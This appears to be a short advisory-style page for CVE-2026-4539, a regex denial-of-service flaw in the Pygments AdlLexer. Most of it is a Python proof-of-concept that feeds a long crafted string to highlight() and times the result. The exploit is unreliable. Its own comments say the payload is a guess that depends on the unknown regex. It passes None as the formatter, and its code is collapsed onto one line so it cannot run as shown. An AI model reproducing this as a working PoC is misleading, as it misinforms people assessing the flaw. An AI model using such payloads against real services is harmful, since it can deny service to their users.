CVE-2026-4539 Pygments AdlLexer正则表达式拒绝服务漏洞

import time from pygments.lexers import AdlLexer from pygments import highlight # PoC for CVE-2026-4539 # Demonstrates inefficient regex complexity in AdlLexer def exploit_poc(): # Constructing a payload likely to trigger ReDoS # Note: Actual payload depends on the specific regex pattern in AdlLexer malicious_input = "a" * 5000 + "(" + "b" * 5000 lexer = AdlLexer() print("Starting exploitation...") start = time.time() try: # Attempt to highlight the malicious input highlight(malicious_input, lexer, None) except Exception as e: print(f"Exception occurred: {e}") end = time.time() print(f"Execution time: {end - start:.4f} seconds") print("If time is significantly high, the system is vulnerable.") if __name__ == "__main__": exploit_poc()